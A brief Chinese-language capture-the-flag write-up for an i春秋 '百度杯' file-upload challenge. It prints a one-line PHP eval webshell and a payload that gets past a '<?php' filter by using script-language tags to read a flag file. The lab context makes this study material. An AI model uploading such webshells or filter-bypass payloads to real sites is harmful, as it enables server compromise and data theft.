Advertisement

i春秋‘百度杯’CTF九月场-Upload&code

阅读量:

数据上传与处理流程

在这里插入图片描述

支持文件上传功能,上传完成后用户可点击对应的源码链接以访问该文件,已上传的这几句话:

复制代码
    <?php
    @eval($POST["code"]);
    ?>
    
    
      
      
      
    

实验结果显示,由于<?php被系统过滤,因此采用了基于PHP脚本的标记方式以规避过滤机制:

复制代码
    <script language="PHP">
    $f=fopen("../flag.".strtolower("PHP"),'r');
    echo fread($f,filesize("../flag.".strtolower("PHP"))); 
    fclose($f);
    </script>
    
    
      
      
      
      
      
    

通过查阅代码,访问/u/x.php路径即可获取flag。
此处提供四种PHP注释风格的链接<>

code 考脑洞,你能过么?

题目

全部评论 (0)

还没有任何评论哟~